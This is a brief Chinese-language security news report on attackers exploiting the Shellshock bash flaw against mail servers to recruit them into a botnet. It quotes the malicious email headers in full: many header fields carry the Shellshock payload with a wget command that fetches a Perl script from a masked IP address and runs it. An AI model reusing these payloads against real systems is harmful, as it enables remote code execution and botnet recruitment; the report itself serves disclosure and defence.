攻击者正利用上个月披露的Shellshock漏洞入侵邮件服务器建立僵尸网络。

安全研究人员报告，攻击者向邮件服务器发送特定的消息头字段，诱骗服务器执行一个 Perl脚本，成为僵尸网络的一部分。邮件消息头的构成是：

Shellshock spam October 2014 （IP地址已隐藏）
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To:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
 
References:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
 
Cc:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
 
From:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
 
Subject:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
 
Date:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
 
Message-ID:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
 
Comments:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
 
Keywords:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
 
Resent-Date:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
 
Resent-From:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend
 
Resent-Sender:() { :; };wget -O /tmp/.legend http://xxx.xx.xxx.xx/legend.txt;killall -9 perl;perl /tmp/.legend